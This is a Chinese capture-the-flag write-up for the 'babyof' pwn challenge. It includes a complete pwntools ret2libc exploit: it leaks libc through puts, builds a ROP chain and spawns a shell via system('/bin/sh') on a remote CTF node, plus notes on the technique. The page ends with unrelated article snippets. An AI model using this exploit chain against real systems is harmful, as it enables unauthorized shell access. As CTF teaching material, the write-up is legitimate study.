【PWN · ret2libc】[2021 鹤城杯]babyof

news/2024/11/9 0:35:13/

Linux_64的经典ret2libc题目,有必要好好整理总结一下其中的流程和注意点

目录

前言

一、题目重述

二、exp(思考与理解在注释)

三、经验总结

攻击步骤:

注意要点 

四、疑问 


前言

64位Linux和32位Linux确乎有着关于参数传递上的不同,然而无论哪种,关于ret2libc这一题型。如果仅仅是wiki上的三道题目,那还是远远不够的。故尝试通过本题,总结ret2libc的一般过程。

过程包括通过puts/write来泄露got表中的puts/write的真实地址->计算libc的基址->libc基址+任意库函数相对于libc的偏移量=任意函数真实地址->libc基址+libc中'/bin/sh'偏移量='/bin/sh'地址,如此构造system('/bin/sh')

一、题目重述

很明显存在栈溢出。而动态链接、不存在system、不存在'/bin/sh',说明是ret2libc无疑了。 


二、exp(思考与理解在注释)

from pwn import *                 #pwntools
from LibcSearcher import *        #定位libc函数以及特殊字符串;题目没给libc!!至少在nssctf目前还没授权,也没正确的libc附件,但是我们有强大的LibcSearcher库elf=ELF("./babyof")               #获取got/plt等程序信息
context(arch="amd64",log_level="debug",os="linux")pop_ret_rdi_addr=0x400743	        #64linux,用于参数填入函数
puts_plt_addr=0x400520            #用于调用puts,打印(泄露)got表填写的函数真实地址
main_addr=0x40066b                #用于返回main函数,准备第二次栈溢出(?)
ret=0x400506                      #用于返回,否则出错(?)io=remote("node4.anna.nssctf.cn",28715)  #远程连接payload=b'a'*(0x40+8)             #溢出
payload+=p64(pop_ret_rdi_addr)+p64(elf.got["puts"])     #pop和栈上填写信息连用,实际效果是将填入栈的值传给寄存器,这一点值得记下来;填写了puts要打印的内容是got表puts的真实地址
payload+=p64(puts_plt_addr)       #puts的plt地址,用于(参数准备好后)调用call puts
payload+=p64(main_addr)           #因为是return puts("I hope you win"),而此时栈上已经一塌糊涂,我们手动让程序执行流回到main准备下一次溢出io.sendlineafter("overflow?\n",payload)  #在此之后就是read,读取我们的payload。效果:打印puts的真实地址,然后返回main函数,准备在此栈溢出
io.recvuntil('win\n')
puts_real_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))  #直到读取到\x7f结束符,然后截取后六位(地址),ljust转8字节补齐,u64转为无符号整数
#一个地址的最高位的两个字节是00,而且实际栈地址一般是0x7fxxxx开头的,因此为了避免获取错误的地址值,只需要获取前面的6字节值,然后通过ljust函数把最高位的两字节填充成00。#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================payload2=b'a'*(0x40+8)            #栈溢出
payload2+=p64(ret)                #就是这里,其实不太明白。为什么不直接开始下一步(去掉ret),但是会出错。我的理解是,puts函数跳回,然后在
payload2+=p64(pop_ret_rdi_addr)+p64(bin_sh_addr)#system函数的参数准备,即把'/bin/sh'(的地址)传入 
payload2+=p64(system_real_addr)   #调用system
payload2+=p64(main_addr)          #只是为了能够找到一个合法地址(?) io.sendlineafter("overflow?\n",payload2)         #栈溢出点发送payload
io.recv()                         #吸收一下发过来的数据,没必要
io.interactive()                  #开始交互,ls -> cat flag

关于plt/got和ret的获取方式,可以通过ROPgadget以及pwntools中ELF或者gdb调试获得。

当然IDA的反汇编也是非常重要的。


三、经验总结

攻击步骤:

1、泄露任意一个函数的真实地址:只有被执行过的函数才能获取地址

2、获取libc的版本

3、根据偏移获取shell和sh的位置:

        a、求libc的基地址(函数动态地址-函数偏移量)

        b、求其他函数地址(基地址+函数偏移量)

4、执行程序获取shell

注意要点 

  • 64位Linux前六个参数是使用rdi, rsi, rdx, rcs, r8, r9 传递的;32位Linux是用栈传递参数的
  • libc已知的情况,可以通过反编译libc获取地址,也可以用pwntools的ELF类来获取
  • libc未知的情况下,需要确定libc的版本号,在线查找libc database search (blukat.me) 
  • 可以使用LibSearcher库极大方便地确定libc、确定libc基址、确定函数真实地址
  • 64位下,参数可通过pop_reg+value的方式,把value传入reg以备作参数
  • obj = LibcSearcher("gets",gets_real_addr)
    libcbase = gets_real_addr – obj.dump("gets")
    system_addr = libcbase + obj.dump("system")            #system 偏移
    bin_sh_addr = libcbase + obj.dump("str_bin_sh")         #/bin/sh 偏移

四、疑问 

  • exp下的程序执行流究竟是怎么样的?
  • payload1/2都在最后加了main_addr,第一个是为了重新栈溢出(吧?),第二个呢是为了程序能够正常退出吗?
  • 大佬们的wp,都自然而然加了ret——不加会出错,ret的作用是什么,从哪里返回到哪里?这应该还是与程序控制执行流的实际情况有关吧。求解答!!!!

http://www.ppmy.cn/news/109939.html

相关文章

四轴姿态解算-imu算法

理论篇 欧拉角四元数方向余弦矩阵 强调三者描述的是坐标系A,A之间的变换关系 欧拉角,四元数,方向余弦矩阵都可以描述四轴的姿态变换 注意这里强调的是变换 三者转换公式 一阶龙格库塔法 核心要点简介: 假设一阶函数随时间关系如: y a * T1b 则,在经…

flex 布局的基本概念 - 详解

flex 布局的基本概念 Flexible Box 模型,通常被称为 flexbox,是一种一维的布局模型。它给 flexbox 的子元素之间提供了强大的空间分布和对齐能力。本文给出了 flexbox 的主要特性,更多的细节将在别的文档中探索。我们说 flexbox 是一种一维的…

AI Canon精选资源清单;带AI功能的PS安装文件与教程;讯飞星火10月对标 ChatGPT;直播换脸工具盘点 | ShowMeAI日报

👀日报&周刊合集 | 🎡生产力工具与行业应用大全 | 🧡 点赞关注评论拜托啦! 🤖 AI Canon:人工智能精选资源清单 思维导图 ShowMeAI知识星球资源编码:R106 AI Canon 是由美国著名的风投机构 …

Linux系统下imx6ull QT编程—— C++基础(一)

Linux QT编程 文章目录 Linux QT编程前言一、 C的输入输出方式1.cout语法形式2.cin语法形式3.C之命名空间 namespace 前言 学习 C的面向对象编程,对学习 Qt 有很大的帮助 一、 C的输入输出方式 效率上,肯定是 C 语言的 scanf 和 printf 的效率高&#…

JVM学习笔记(中)

1、垃圾回收算法 标记清除法 特点: 速度较快会产生内存碎片 注意:这里的清除并不是真正意义上的清除,即每个字节都清0,而是记录一下被清除的对象的起始和结束的地址,当下一次分配给一个新对象时,新对象…

《MYSQL必知必会》读书笔记1

目录 行 主键 MYSQL工具 使用MYSQL 连接 检索数据 检索(SELECT) 限制结果(LIMIT) 排序检索(ORDER BY) 过滤数据(WHERE) 过滤数据(AND、OR) 通配符…

LeetCode - 10 正则表达式匹配

目录 题目来源 题目描述 示例 提示 题目解析 算法源码 题目来源 10. 正则表达式匹配 - 力扣(LeetCode) 题目描述 给你一个字符串 s 和一个字符规律 p,请你来实现一个支持 . 和 * 的正则表达式匹配。 . 匹配任意单个字符 * 匹配零个或…

开源SCRM营销平台MarketGo-账号管理

一、概述 企业在经营的过程中,因为业务、税收等各种因素的需要在各地成立分公司,这样针对公司来说管理成本,运营成本,营销成本都会提高,并且沟通的效率也会变低。 在用户营销的场景中,MarketGo在SCRM做了…